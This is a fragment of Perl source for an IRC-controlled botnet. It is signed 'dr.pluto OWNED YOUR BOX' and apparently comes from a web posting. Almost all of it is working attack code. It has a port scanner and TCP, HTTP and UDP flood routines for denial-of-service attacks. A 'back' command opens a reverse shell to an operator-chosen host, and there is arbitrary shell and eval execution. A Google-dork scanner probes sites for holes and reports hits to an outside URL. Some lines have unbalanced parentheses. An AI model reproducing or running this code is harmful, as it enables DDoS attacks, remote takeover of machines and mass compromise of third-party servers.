           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555";
             my (@aberta, %porta_banner);
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ScanPort15)12 Scanning4 ".$1." 12for open ports.";
             foreach my $porta (@portas){
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ScanPort15)12 Open port(s):4 @aberta";
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2ScanPort15)12 No open ports found.";
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/){
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attacking4 ".$1.":".$2." 12for4 ".$3." 12seconds.";
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($3>$cur_time){
             $cur_time = time - $itime;
     &tcpflooder("$1","$2","$3";
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attack done4 ".$1.":".$2.".";
           }
   if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Version15)12 mIRC324 ".$VERSAO." 12K.Mardam-Bey";
}

if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp';
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32" {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET";
open(STDOUT, ">&SOCKET";
open(STDERR, ">&SOCKET";
system("$shell";
close(STDIN);
close(STDOUT);
close(STDERR);

  sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2BackConnect15)4: 12Connecting to4 $host:$porta";

}

 if ($funcarg =~ /^scan\s+(\d+)\s+(.*)\s+(.*)/) {
            @gstring = $3;
             $boturl=$2;
   sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Dork :4 $3";
   sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Bugz :4 $boturl";
   sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Time :4 $1";
     srand;
     $b = -10;
     $xtime = $1;
     my $itime = time;
     my ($cur_time);
     my ($exploited);
             $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
    $cur_time = time - $itime;
    @urls=fetch();

foreach $url (@urls) {
$cur_time = time - $itime;
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 ="http://".$path."/".$boturl."@cmdstring";

print "\n".$url2."\n\n";

my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);

my $response=$ua->request($req);
if ($response->is_success) {
  if( $response->content =~  m/<li><a href=\"?https:\/\/www.apnic.net\/apnic-bin\/ca\/mylogin.pl([^0000]+)<?\//g){

   push (@lstfulner,$1);
   $xdbug = $path."/".$boturl;
   $sminj = "cat /tmp/sminjkx | grep -i $xdbug";
   $sminjx = `$sminj`;
   if ($sminjx eq ""{
       my $jadi = "http://".$xdbug."@infostring";
       my $reqa=HTTP::Request->new(GET=>$jadi);
       my $uaf=LWP::UserAgent->new();
          $uaf->timeout(10);
          my $respons_info=$uaf->request($reqa);
             $pageyx = $respons_info->content;
             while ($pageyx =~  m/<A class=ria href=\"?http:\/\/([^"]+)\"?>/g)
             {
                 push (@info,$1);
                 }
                    if ("@info" eq ""{
                    push (@info,"unknow";
                 }
                 $schsl = "http://".$path."/".$boturl;
                 sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Vulnerable15)12 Target :13 ".$schsl.$urlinjk." 4Info :7 @info";
                 $rikues = "\x3F\x69\x73\x69\x3D\x79\x65\x73\x26\x62\x6F\x74\x6E\x69\x63\x6B\x3D$nick\x26\x62\x6F\x74\x68\x6F\x73\x74\x3D$realname\x26\x68\x61\x73\x69\x6C\x3D$schsl\x26\x6B\x65\x74\x3D[google scan]\x26\x73\x63\x61\x6E\x69\x73\x3D$msgpriv\x26\x69\x6E\x66\x6F\x3D@info";
                 $rikues =~  s/\[/%5B/g; $rikues =~  s/\]/%5D/g; $rikues =~  s/ /+/g; $rikues =~  s/:/%3A/g; $rikues =~  s/\(/%28/g; $rikues =~  s/\)/%29/g; $rikues =~  s/#/%231/g;
                 my $reqi=HTTP::Request->new(GET=>$dxh2o.$rikues);
                 my $uai=LWP::UserAgent->new();
                    $uai->timeout(10);
                     my $responsei=$uai->request($reqi);
                 system(`echo $xdbug >> /tmp/.sess_142003100003`);
                 my $sminjk = `echo $xdbug >> /tmp/sminjkx`;
   }
}
}
else {
    print 'Errore: ',$path,$response->status_line, "\n";
}
 }
}
 sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Finish15)12 Scan selesai dengan waktu4 $xtime 12detik.";
 system(`rm -f /tmp/sminjkx`);
}
  if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP DDoSing15)12 Attacking4 ".$1.":80 12for4 ".$2." 12seconds.";
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($2>$cur_time){
             $cur_time = time - $itime;
     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
     close($socket);
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP15)12 Attacking done4 ".$1.".";
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP DDoSing15)12 Attacking4 ".$1." 12with4 ".$2." 12Kb packets for4 ".$3." 12seconds.";
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3";
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP15)12 Sent4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".";
           }
           exit;
       }
  }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1";
   }
   if ($case =~ /^part (.*)/) {
      p("$1";
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2";
          j("$2";
        }
      } else {
          p("$chan";
          j("$chan";
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem" if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2" if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem" if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2" if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2";
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3";
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2";
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3";
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1";
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1";
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1" || msg("$printl", "No such file or directory";
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha";
             if ($c == "$linas_max" {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp';
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
 }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001";
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]";
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]";
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]";
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]";
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]";
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]";
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]";
}
sub quit {
  sendraw("QUIT :$_[0]";
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);
    $b = $b + 10;
{
my @dominios = ("com","net","org","info","gov","gob","gub","xxx","it","uk","wx","eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec","py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop","af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi","vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk","ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir","iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke","ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm","na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc","sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz","vu","vn","ye","yu","cd","zm","zw","";

my @str;


foreach $dom (@dominios)
{
   push (@str,"@gstring";
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&start=$b";
    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<h2 class=r><a href=\"?http:\/\/([^>\"]+)\"? class=l/g){
         push (@lst,$1);
    }
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "" {$query="/";};
    eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp" or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
    };

   return $page;
}
}



View Comments (0)